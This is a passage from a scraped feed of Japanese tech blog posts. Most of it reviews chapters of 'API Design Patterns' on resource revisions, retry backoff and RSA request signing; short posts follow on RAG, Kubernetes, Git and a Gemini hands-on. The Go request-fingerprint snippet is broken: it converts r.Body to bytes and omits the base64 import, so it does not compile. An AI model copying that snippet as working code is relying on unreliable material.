nil}この実装例では、Resource構造体にリビジョン関連のフィールドを追加し、ResourceServiceインターフェースでリビジョン管理に関連するメソッドを定義しています。CreateResourceRevisionメソッドは、新しいリビジョンを作成し、保存する処理を示しています。リソースリビジョンの影響とトレードオフ著者は、リソースリビジョンの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。ストレージ使用量の増加: リビジョンを保存することで、ストレージの使用量が大幅に増加します。特に、頻繁に変更されるリソースや大規模なリソースの場合、この影響は無視できません。パフォーマンスへの影響: リビジョンの作成や取得には追加のオーバーヘッドが発生します。特に、大量のリビジョンが存在する場合、リビジョンの一覧表示や特定のリビジョンの取得に時間がかかる可能性があります。複雑性の増加: リビジョン管理機能の追加により、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。一貫性の課題: 特に分散システムにおいて、リビジョンの一貫性を維持することは難しい場合があります。例えば、複数のサービスにまたがるリソースの場合、全体的な一貫性を確保するのが困難になる可能性があります。リビジョン管理のオーバーヘッド: リビジョンの保持期間、古いリビジョンの削除ポリシー、リビジョン数の制限など、追加的な管理タスクが発生します。これらのトレードオフを適切に管理することが、リソースリビジョンの成功的な実装の鍵となります。例えば、ストレージ使用量の増加に対しては、圧縮技術の使用や、重要でないリビジョンの定期的な削除などの戦略が考えられます。パフォーマンスへの影響に関しては、効率的なインデックス設計や、必要に応じてキャッシュを活用することで軽減できる可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。監査とコンプライアンス: リソースリビジョンは、変更履歴の追跡が必要な規制環境(金融サービス、医療情報システムなど)で特に重要です。変更の誰が、いつ、何をしたかを正確に記録し、必要に応じて過去の状態を再現できることは、コンプライアンス要件を満たす上で不可欠です。障害復旧とロールバック: リビジョン管理は、システム障害や人為的ミスからの復旧を容易にします。特定の時点の状態に戻すことができるため、データの損失やシステムの不整合を最小限に抑えることができます。分散システムでの一貫性: マイクロサービスアーキテクチャにおいて、リソースリビジョンは分散システム全体の一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるトランザクションを、各サービスのリソースリビジョンを用いて追跡し、必要に応じて補償トランザクションを実行することができます。A/Bテストと段階的ロールアウト: リビジョン管理機能は、新機能の段階的なロールアウトやA/Bテストの実施を容易にします。特定のユーザーグループに対して特定のリビジョンを提供することで、変更の影響を慎重に評価できます。パフォーマンス最適化: リビジョン管理の実装には、効率的なデータ構造とアルゴリズムの選択が重要です。例えば、差分ベースのストレージを使用して、リビジョン間の変更のみを保存することで、ストレージ使用量を最適化できます。セキュリティとアクセス制御: リビジョン管理を導入する際は、各リビジョンへのアクセス制御を適切に設計する必要があります。特に、機密情報を含むリビジョンへのアクセスを制限し、監査ログを維持することが重要です。APIの進化とバージョニング: リソースリビジョンの概念は、APIそのもののバージョニング戦略と関連付けて考えることができます。APIの各バージョンを、特定の時点でのリソース定義のリビジョンとして扱うことで、APIの進化をより体系的に管理できる可能性があります。リソースリビジョンとシステムアーキテクチャリソースリビジョンの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: リビジョン管理をサポートするために、データベーススキーマの設計を適切に行う必要があります。例えば、メインのリソーステーブルとは別にリビジョンテーブルを作成し、効率的にクエリできるようにインデックスを設計することが重要です。キャッシュ戦略: リビジョン管理は、キャッシュ戦略に影響を与えます。特定のリビジョンをキャッシュする場合、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。イベントソーシングとCQRS: リソースリビジョンの概念は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと親和性が高いです。これらのパターンを組み合わせることで、より柔軟で拡張性の高いシステムを構築できる可能性があります。バックアップと災害復旧: リビジョン管理機能は、バックアップと災害復旧戦略に組み込むことができます。特定の時点のシステム全体の状態を、各リソースの適切なリビジョンを用いて再構築することが可能になります。マイクロサービス間の整合性: 複数のマイクロサービスにまたがるリソースの場合、リビジョン管理を通じてサービス間の整合性を維持することができます。例えば、分散トランザクションの代わりに、各サービスのリソースリビジョンを用いた補償トランザクションを実装することが考えられます。結論第28章「Resource revisions」は、APIにおけるリソースリビジョン管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの整合性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソースリビジョンは、変更履歴の追跡、過去の状態の参照、誤った変更のロールバックを可能にする強力な機能です。リビジョン管理の実装には、リビジョン識別子の設計、リビジョン作成戦略の選択、リビジョンの取得と一覧表示、復元機能の実装など、多くの考慮事項があります。リソースリビジョンの導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらを適切に管理することが重要です。リビジョン管理は、監査とコンプライアンス、障害復旧とロールバック、分散システムでの一貫性維持など、多くの実践的な応用が可能です。リソースリビジョンの設計は、データモデル、キャッシュ戦略、イベントソーシング、バックアップと災害復旧など、システム全体のアーキテクチャに大きな影響を与えます。これらの原則を適切に適用することで、開発者はより柔軟で信頼性の高いAPIを設計することができます。特に、変更履歴の追跡が重要な環境や、複雑な分散システムでは、リソースリビジョンの適切な実装が極めて重要です。しかし、リソースリビジョンの導入には慎重な検討も必要です。特に、ストレージ使用量の増加、パフォーマンスへの影響、システムの複雑性の増加などの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リソースリビジョンの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリソースの変更履歴を管理するだけでなく、システム全体の一貫性、信頼性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リソースリビジョンの適切な実装は、システムの回復力を高め、データの整合性を保護し、変更管理を容易にする可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。リソースリビジョン管理は、単なる技術的機能を超えて、システム全体の品質と信頼性を向上させる重要な要素となります。適切に実装されたリビジョン管理システムは、変更の追跡、問題の診断、そして迅速な復旧を可能にし、結果としてシステムの運用性と信頼性を大きく向上させます。さらに、この機能は、コンプライアンス要件の遵守、データガバナンスの強化、そして長期的なシステム進化の管理にも貢献します。API設計者とシステムアーキテクトは、リソースリビジョン管理の重要性を認識し、適切に実装することで、より堅牢で効率的、そして将来の変化に適応可能なシステムを構築することができます。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。29 Request retrial\\"API Design Patterns\\" の第29章「Request retrial」は、API リクエストの再試行に関する重要な概念と実装方法について詳細に論じています。この章では、失敗したAPIリクエストのうち、どれを安全に再試行できるか、リトライのタイミングに関する高度な指数関数的バックオフ戦略、「雪崩現象」を回避する方法、そしてAPIがクライアントにリトライのタイミングを指示する方法について説明しています。リクエスト再試行の必要性と概要著者は、Web APIにおいてリクエストの失敗は避けられない現実であることを指摘することから議論を始めています。失敗の原因には、クライアント側のエラーや、APIサーバー側の一時的な問題など、様々なものがあります。特に後者の場合、同じリクエストを後で再試行することで問題が解決する可能性があります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、ネットワークの不安定性やサービスの一時的な障害が頻繁に発生する可能性があるため、適切な再試行メカニズムは、システム全体の信頼性と回復力を大幅に向上させる可能性があります。著者は、再試行可能なリクエストを識別し、適切なタイミングで再試行を行うための2つの主要なアプローチを提案しています。クライアント側の再試行タイミング(指数関数的バックオフ)サーバー指定の再試行タイミングこれらのアプローチは、システムの効率性を最大化しつつ、不要な再試行を最小限に抑えるという目標を達成するために設計されています。クライアント側の再試行タイミング著者は、クライアント側の再試行戦略として、指数関数的バックオフアルゴリズムを推奨しています。このアルゴリズムは、再試行の間隔を徐々に増やしていくことで、システムに過度の負荷をかけることなく、再試行の成功確率を高めます。指数関数的バックオフの基本的な実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second time.Sleep(delay) } return err}しかし、著者はこの基本的な実装にいくつかの重要な改良を加えることを提案しています。最大遅延時間の設定: 再試行の間隔が無限に長くなることを防ぐため。最大再試行回数の設定: 無限ループを防ぐため。ジッター(ランダムな遅延)の追加: 「雪崩現象」を防ぐため。これらの改良を加えた、より洗練された実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int, maxDelay time.Duration) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second if delay > maxDelay { delay = maxDelay } jitter := time.Duration(rand.Float64() * float64(time.Second)) time.Sleep(delay + jitter) } return err}この実装は、システムの回復力を高めつつ、不必要な負荷を避けるバランスの取れたアプローチを提供します。サーバー指定の再試行タイミング著者は、APIサーバーが再試行のタイミングを明示的に指定できる場合があることを指摘しています。これは主に、サーバーが特定の情報(例:レート制限のリセットタイミング)を持っている場合に有用です。この目的のために、著者はHTTPの\\"Retry-After\\"ヘッダーの使用を推奨しています。このヘッダーを使用することで、サーバーは正確な再試行タイミングをクライアントに伝えることができます。func handleRateLimitedRequest(w http.ResponseWriter, r *http.Request) { if isRateLimited(r) { retryAfter := calculateRetryAfter() w.Header().Set(\\"Retry-After\\", strconv.Itoa(int(retryAfter.Seconds()))) w.WriteHeader(http.StatusTooManyRequests) return } // 通常の処理を続行}クライアント側では、このヘッダーを検出し、指定された時間だけ待機してからリクエストを再試行します。func sendRequestWithRetry(client *http.Client, req *http.Request) (*http.Response, error) { resp, err := client.Do(req) if err != nil { return nil, err } if resp.StatusCode == http.StatusTooManyRequests { retryAfter := resp.Header.Get(\\"Retry-After\\") if retryAfter != \\"\\" { seconds, _ := strconv.Atoi(retryAfter) time.Sleep(time.Duration(seconds) * time.Second) return sendRequestWithRetry(client, req) } } return resp, nil}この手法は、サーバーの状態や制約に基づいて、より正確で効率的な再試行戦略を実現します。再試行可能なリクエストの判断著者は、全てのエラーが再試行可能なわけではないという重要な点を強調しています。再試行可能なエラーとそうでないエラーを区別することは、効果的な再試行戦略の鍵となります。一般的に、以下のようなガイドラインが提示されています。再試行可能: 408 (Request Timeout), 429 (Too Many Requests), 503 (Service Unavailable) など。これらは一時的な問題を示唆しています。再試行不可能: 400 (Bad Request), 403 (Forbidden), 404 (Not Found) など。これらは永続的な問題を示唆しています。条件付き再試行可能: 500 (Internal Server Error), 502 (Bad Gateway), 504 (Gateway Timeout) など。これらは状況に応じて再試行可能かどうかが変わります。この区別は、システムの効率性と信頼性を維持する上で重要です。不適切な再試行は、システムリソースの無駄遣いや、意図しない副作用を引き起こす可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。システムの回復力: 適切な再試行メカニズムは、一時的な障害から自動的に回復するシステムの能力を大幅に向上させます。これは特に、マイクロサービスアーキテクチャのような分散システムにおいて重要です。効率的なリソース利用: 指数関数的バックオフやサーバー指定の再試行タイミングを使用することで、システムリソースを効率的に利用しつつ、再試行の成功確率を最大化できます。ユーザーエクスペリエンス: エンドユーザーの視点からは、適切な再試行メカニズムは、一時的な問題を自動的に解決し、シームレスなエクスペリエンスを提供します。運用の簡素化: 適切に設計された再試行メカニズムは、手動介入の必要性を減らし、運用タスクを簡素化します。モニタリングと可観測性: 再試行の頻度や成功率を監視することで、システムの健全性や潜在的な問題を把握するための貴重な洞察が得られます。結論第29章「Request retrial」は、APIにおけるリクエスト再試行の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、システムの信頼性、効率性、そして全体的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。全てのエラーが再試行可能なわけではありません。エラーの性質を慎重に評価し、適切に再試行可能なものを識別することが重要です。指数関数的バックオフは、効果的な再試行戦略の基礎となります。ただし、最大遅延時間、最大再試行回数、ジッターなどの改良を加えることで、より堅牢な実装が可能になります。サーバー指定の再試行タイミング(Retry-Afterヘッダー)は、特定のシナリオにおいて非常に有効です。これにより、より正確で効率的な再試行が可能になります。再試行メカニズムは、システムの回復力、効率性、ユーザーエクスペリエンス、運用性を向上させる重要なツールです。再試行の実装には、システム全体のアーキテクチャと運用プラクティスとの整合性が必要です。これらの原則を適切に適用することで、開発者はより信頼性が高く、効率的なAPIを設計することができます。特に、分散システムやクラウドネイティブ環境では、適切な再試行メカニズムの実装が極めて重要です。最後に、リクエスト再試行の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にエラーハンドリングを改善するだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト再試行の適切な実装は、システムの回復力を高め、一時的な障害の影響を最小限に抑え、全体的なユーザーエクスペリエンスを向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。30 Request authentication「API Design Patterns」の第30章「Request authentication」は、APIにおけるリクエスト認証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト認証が単なるセキュリティ機能の追加ではなく、APIの信頼性、完全性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。リクエスト認証の必要性と概要著者は、APIリクエストの認証に関する基本的な疑問から議論を始めています。「与えられたインバウンドAPIリクエストが、実際に認証されたユーザーからのものであることをどのように判断できるか?」この問いに答えるために、著者は3つの重要な要件を提示しています。オリジン(Origin): リクエストが主張する送信元から本当に来たものかどうかを確認する能力。完全性(Integrity): リクエストの内容が送信後に改ざんされていないことを確認する能力。否認防止(Non-repudiation): 送信者が後からリクエストの送信を否定できないようにする能力。これらの要件は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、サービス間の通信の信頼性と完全性を確保することが不可欠であり、これらの要件を満たすことで、システム全体のセキュリティと信頼性が大幅に向上します。著者は、これらの要件を満たすソリューションとして、デジタル署名の使用を提案しています。デジタル署名は、公開鍵暗号方式を利用した非対称な認証メカニズムで、以下の特性を持ちます。署名の生成に使用する秘密鍵と、検証に使用する公開鍵が異なる。署名はメッセージの内容に依存するため、メッセージの完全性を保証できる。秘密鍵の所有者のみが有効な署名を生成できるため、否認防止が可能。Request authenticationはそこそこに入り組んだ分野でもあるのでセキュア・バイ・デザインなどもオススメです。syu-m-5151.hatenablog.comデジタル署名の実装著者は、デジタル署名を用いたリクエスト認証の実装に関して詳細なガイダンスを提供しています。主なステップは以下の通りです。クレデンシャルの生成: ユーザーは公開鍵と秘密鍵のペアを生成します。登録とクレデンシャル交換: ユーザーは公開鍵をAPIサービスに登録し、一意の識別子を受け取ります。リクエストの署名: ユーザーは秘密鍵を使用してリクエストに署名します。署名の検証: APIサーバーは公開鍵を使用して署名を検証し、リクエストを認証します。これらのステップを実装するためのGoのコード例を以下に示します。import ( \\"crypto\\" \\"crypto/rand\\" \\"crypto/rsa\\" \\"crypto/sha256\\" \\"encoding/base64\\")// クレデンシャルの生成func generateCredentials() (*rsa.PrivateKey, error) { return rsa.GenerateKey(rand.Reader, 2048)}// リクエストの署名func signRequest(privateKey *rsa.PrivateKey, request []byte) ([]byte, error) { hashed := sha256.Sum256(request) return rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed[:])}// 署名の検証func verifySignature(publicKey *rsa.PublicKey, request []byte, signature []byte) error { hashed := sha256.Sum256(request) return rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, hashed[:], signature)}この実装例では、RSA暗号化を使用してクレデンシャルの生成、リクエストの署名、署名の検証を行っています。実際の運用環境では、これらの基本的な関数をより堅牢なエラーハンドリングとロギングメカニズムで包む必要があります。リクエストのフィンガープリンティング著者は、リクエスト全体を署名するのではなく、リクエストの「フィンガープリント」を生成して署名することを提案しています。このフィンガープリントには以下の要素が含まれます。HTTPメソッドリクエストのパスホストリクエストボディのダイジェスト日付これらの要素を組み合わせることで、リクエストの本質的な部分を捉えつつ、署名対象のデータサイズを抑えることができます。以下に、フィンガープリントの生成例を示します。import ( \\"crypto/sha256\\" \\"fmt\\" \\"net/http\\" \\"strings\\" \\"time\\")func generateFingerprint(r *http.Request) string { bodyDigest := sha256.Sum256([]byte(r.Body)) elements := []string{ fmt.Sprintf(\\"(request-target): %s %s\\", strings.ToLower(r.Method), r.URL.Path), fmt.Sprintf(\\"host: %s\\", r.Host), fmt.Sprintf(\\"date: %s\\", time.Now().UTC().Format(http.TimeFormat)), fmt.Sprintf(\\"digest: SHA-256=%s\\", base64.StdEncoding.EncodeToString(bodyDigest[:])), } return strings.Join(elements, \\"\\\\n\\")}このアプローチにより、リクエストの重要な部分を効率的に署名できるようになります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。セキュリティと信頼性: デジタル署名を使用したリクエスト認証は、APIの安全性と信頼性を大幅に向上させます。これは特に、金融取引や医療情報など、機密性の高いデータを扱うシステムで重要です。マイクロサービスアーキテクチャでの応用: サービス間通信の認証に適用することで、マイクロサービスアーキテクチャ全体のセキュリティを強化できます。スケーラビリティの考慮: デジタル署名の検証は計算コストが高いため、大規模なシステムでは適切なキャッシング戦略やロードバランシングが必要になる可能性があります。運用上の課題: 秘密鍵の安全な管理や、公開鍵の配布・更新メカニズムの構築が必要になります。これらは、適切なシークレット管理システムやPKIインフラストラクチャの導入を検討する良い機会となります。監視とロギング: 署名の検証失敗や不正なリクエストの試行を適切に監視・ロギングすることで、システムの安全性をさらに向上させることができます。結論第30章「Request authentication」は、APIにおけるリクエスト認証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIのセキュリティ、信頼性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト認証は、オリジン、完全性、否認防止の3つの要件を満たす必要があります。デジタル署名は、これらの要件を満たす強力なメカニズムを提供します。リクエストのフィンガープリンティングは、効率的かつ効果的な署名方法です。この認証方式の実装には、適切なクレデンシャル管理と運用プラクティスが不可欠です。パフォーマンスとスケーラビリティのトレードオフを慎重に検討する必要があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、高度なセキュリティ要件を持つシステムや、複雑な分散アーキテクチャを採用している環境では、この認証方式の実装が極めて重要になります。しかし、この認証方式の導入には慎重な検討も必要です。特に、パフォーマンス、運用の複雑さ、開発者の学習曲線の観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト認証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIのセキュリティを向上させるだけでなく、システム全体の信頼性、運用効率、そして将来の拡張性にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。デジタル署名を用いたリクエスト認証の適切な実装は、システムのセキュリティを大幅に向上させ、潜在的な脅威や攻撃から保護する強力な手段となります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。おわりに「API Design Patterns」を通じて、APIデザインの本質と普遍的な設計原則を学びました。これらの原則は、技術の変化に関わらず長期的に価値があります。本書は、APIをシステム間のコミュニケーションの重要な媒介者として捉える視点を提供しました。この知識は、API設計だけでなく、ソフトウェア開発全般に適用可能です。次の課題は、学んだ概念を実践で適用することです。技術は進化し続けますが、本書の洞察は変化の中でも指針となります。これからも学び続け、より良いシステムとソリューションを開発していきましょう。そもそも、Design Patternsは設計ではないですよね?Design Patternsは設計そのものではなく、ソフトウェア開発の共通問題に対する定型的な解決策を提供するツールキットです。これはマジでミスリードです。すみません。設計は、具体的な問題や要件に対して適切な解決策を考案し実装するプロセスです。Design Patternsを知っているだけでは、優れた設計はできません。Design Patternsの価値は、共通の語彙と概念的フレームワークを提供することです。これにより、開発者間のコミュニケーションが円滑になり、問題の本質をより速く把握できます。良い設計者になるには、Design Patternsを知ることも重要ですが、それ以上に問題を深く理解し、創造的に思考し、様々な選択肢を比較検討する能力が重要です。結論として、Design Patternsは設計を支援するツールであり、設計そのものではありません。優れた設計を生み出すのは、パターンを適切に理解し、状況に応じて適用できる開発者の創造性と判断力です。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえ。最初に戻る。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/20/191435","isoDate":"2024-08-20T10:14:35.000Z","dateMiliSeconds":1724148875000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RAGの検索対象ファイル数","contentSnippet":"RAGアプリの開発で、対象ファイル1件の情報のみ出力してほしいのに、複数のファイルの内容が混ざって出力されることがありました。RAGの検索対象ファイル数を1にするだけで解決しました。最初は、ファイルごとにRAGを分けないといけないのでは?と思いやろうとすると超絶面倒そう。RAGの検索対象ファイル数を1にするだけでOKだと気づいてよかった!","link":"https://shu-kob.hateblo.jp/entry/2024/08/19/235703","isoDate":"2024-08-19T14:57:03.000Z","dateMiliSeconds":1724079423000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"エンジニア夏休み明けの仕事(Slackを使っている場合)","contentSnippet":"2024年。お盆休みをとって、8月19日(月)から仕事再開の方も多いと思います。最初に何をして、スムーズに仕事を再開できるかを書きたいと思います。Slackを使っていることを前提として書きます。夏季休暇の時期は自由で、自分はお盆休みとっても、とっていない方がメンションを飛ばしていることもあると思います。Slackのアクティビティで確認しましょう。量が多ければ、タスクを登録しましょう。JiraやNotionなどのカンバンボードに。Googleカレンダーを使用している場合は、カレンダー上でタスクを登録する手もあります。私はカンバンボードに加えて、ちょっとした作業はカレンダー上にタスクを登録したりしています。たくさんのメンションが来ている方もいらっしゃるかもしれませんが、一つずつ確実に消化していきましょう!お盆休み明けのお仕事頑張りましょうね!","link":"https://shu-kob.hateblo.jp/entry/2024/08/18/233512","isoDate":"2024-08-18T14:35:12.000Z","dateMiliSeconds":1723991712000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"つくって、壊して、直して学ぶ Kubernetes入門 Kindle版が期間限定で半額","contentSnippet":"つくって、壊して、直して学ぶ Kubernetes入門作者:高橋 あおい翔泳社AmazonKubernetesの入門書「つくって、壊して、直して学ぶ Kubernetes入門」Kindle版が期間限定で半額です!(2024年8月17日現在、終了まで5日)この書籍は、難解と言われるkubernetesをタイトル通りつくって、壊すハンズオンにより実践的に学べます!漫画も豊富に描いてあり、とっつきやすいです!私もこの半額キャンペーンでKindle版を買うて読んでいる最中です。発売も2024年4月なので、情報も新しいです。IT技術書はすぐに情報が古くなるので、最新の情報を読んでいく必要がありますからね。Kubernetesの入門書籍はこちらがダントツ一推しだと思います!","link":"https://shu-kob.hateblo.jp/entry/2024/08/17/230505","isoDate":"2024-08-17T14:05:05.000Z","dateMiliSeconds":1723903505000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OSC(オープンソースカンファレンス) 2024 Online/Fallに日本生成AIユーザ会で申し込んだ","contentSnippet":"最近ブログを毎日書いていて、ネタが尽きてきたのですが(苦笑)、今日はOSC(オープンソースカンファレンス) 2024 Online/Fallに日本生成AIユーザ会で申し込んだのでした。event.ospn.jp10月18日(金)と19(土)で19(土)でのセミナー発表を希望しています。OSCはオープンソースの祭典で、日本生成AIユーザ会はOSC 2024 Online/Springで産声を上げました。shu-kob.hateblo.jpwww.ospn.jpOSCは全国で開催され、私も昔はいろいろ行きました。東京、大阪、京都、名古屋、浜名湖(浜松)、北海道(札幌)event.ospn.jp10月26日(土)に浅草で開催されるOSC東京Fallにも出展しようと思います!ちょっと先ですが、お会いできることを楽しみにしています!","link":"https://shu-kob.hateblo.jp/entry/2024/08/16/235654","isoDate":"2024-08-16T14:56:54.000Z","dateMiliSeconds":1723820214000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"WindowsでGitをセットアップするには","contentSnippet":"私は仕事もプライベートもMacですが、仕事にてWindowsでGitを使うにはどうすればいいという相談を受けました。www.sourcetreeapp.comSourcetreeを推しときましたが、他には、Git for Windows という手もありますね。gitforwindows.org有料だけど、forkがいいという噂。git-fork.com自分の環境だけでなく、他の人の環境の相談にも乗れるようにキャッチアップ頑張ります!","link":"https://shu-kob.hateblo.jp/entry/2024/08/15/235944","isoDate":"2024-08-15T14:59:44.000Z","dateMiliSeconds":1723733984000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LLMを利用して、APIを自動でテストするツールを作ってみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。本記事では、LLMとテストツールを […]The post LLMを利用して、APIを自動でテストするツールを作ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm-api-test-automation/","isoDate":"2024-08-14T22:24:42.000Z","dateMiliSeconds":1723674282000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud認定試験のリモート受験を風呂場で","contentSnippet":"shu-kob.hateblo.jp先日、Google Cloud Professional Cloud Architectに合格したという記事を書きましたが、初めてリモートで受験しました。私はオンサイトのテストセンター派ですが、連休初日にGoogle Cloud Professional Cloud Architectに合格して景気付けしようと思ったものの、この日昼は予定があり、夜はテストセンターがやっていないためです。リモートは当日に申し込んでも受験できます。事前準備・専用のブラウザのインストール以上2点を済ませておけばOKです。風呂場で受験wing-degital.hatenablog.com自室は散らかっているので、上記記事を参考に、風呂場で受験。風呂ふたの上にPCを置き、バスタブの中に直接座りました。上記記事はざっとしか読んでなかったので、クッション用意すれば良かったです。(後で足が痺れた。)10分前からログインできるのですが、確かテストに入る前のチェックリストに答えました。スマホのカメラと連携して、室内をくまなく撮影したり、ID(私は運転免許証を選択)を撮影したりしました。その後、待機でかなり待ちました。夏なので、汗がダラダラ。お風呂に冷房なんてないわけで辛かった。。時間は経っていき、大丈夫かな?と思っていましたが、やっとチャットオペレーターとのチャットが開始PCのカメラで室内を撮影したり背中にあるものは何だ?と聞かれたり、(お風呂のコントローラーです)質問に答えていくと大丈夫でした。途中言語モードを日本語にしていたのですが、これが後で良くなかった。いざ、試験。言語モードを日本語に切り替えると、何問目かがわからなくなっていたのと、問題文が途中で途切れていたり、解答文中の英語も日本語に訳されてわからなくなったりして、大変でした。途中で言語を英語に切り替えると悪影響があるかもしれないから、最後まで解答はすることにもうすぐ全問解答かと思いきや、途中でネットワークが途切れました。。。部屋のWi-Fiルータから風呂までは電波が弱かったようです。風呂でPC使ったことないから気づかなかった。3分以上途切れると、試験終了となってしまうようです。試験終了になったら、解答は保存されていて、その分で採点される模様。それで落ちた場合、再受験の制限(初回で落ちたら14日間、2回目で落ちたら60日間、3回目で落ちたら365日間再受験できない)が適用される模様です。幸い、復旧でき、解答を続けられました。最後まで解答したら、言語を英語に切り替えました。日本語の試験なので、問題文と解答文は日本語です。何問目かと問題文、解答文がちゃんと表示されるようになり、見直し。試験を終了しました。Google Cloud認定試験終了後の15問アンケートは任意で、答えるようにしているのですが、14問目くらいで再びネットワークエラー。幸い、復旧。アンケートを全部答えると、試験結果は「Pass」(合格)このとき、「よっしゃー」と囁いてしまって大丈夫かな?と思いましたが、大丈夫で、後日認定通知が来ました。試験自体は終えてますからね。なお、試験中声を出すと、試験終了となり不合格となります。私は試験のときは家で一人だったのですが、家で家族がいる場合は、話しかけたりされないように注意してください。リモートのお風呂される方は参考にしてください。","link":"https://shu-kob.hateblo.jp/entry/2024/08/14/235622","isoDate":"2024-08-14T14:56:22.000Z","dateMiliSeconds":1723647382000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Geminiマルチモーダルプログラミングハンズオン","contentSnippet":"genai-users.connpass.comこの記事は上記ハンズオン勉強会の資料です。準備設定↓ Google Cloudにアクセスcloud.google.com秘密鍵がダウンロードされます。git clone https://github.com/shu-kob/gemini-multimodalcd gemini-multimodalダウンロードした秘密鍵を gemini-multimodal/ 配下に配置し、環境変数の設定ファイルに記載( ここでは .zprofile )export GOOGLE_APPLICATION_CREDENTIALS=\\"/Users/username/programing/gemini-multimodal/projectid-abcdefg.json\\"source ~/.zprofilecloud.google.compip install --upgrade pippip install vertexai音声解析cloud.google.comGoogle Cloud Storageに音声をアップロードします。aicross.co.jpここでは、コールセンターを模擬した音声を自分で収録したファイルを使います。project_id と audio_file_uri を変更します。python3 audio.pyTraceback (most recent call last): File \\"/Users/kobuchishu/programing/gemini-multimodal/audio.py\\", line 1, in import vertexaiModuleNotFoundError: No module named \'vertexai\'というエラーが出るときは下記を参照qiita.com公式サイトからインストールしていたらなるっぽいです。以下をお試しください。zenn.dev画像・動画解析cloud.google.com画像解析Google Cloud Storageに画像をアップロードします。project_id と image_file_uri を変更します。python3 image.py動画解析pixabay.comフリー動画サイトなどから動画を収集します。Google Cloud Storageに動画をアップロードします。project_id と video_file_uri を変更します。python3 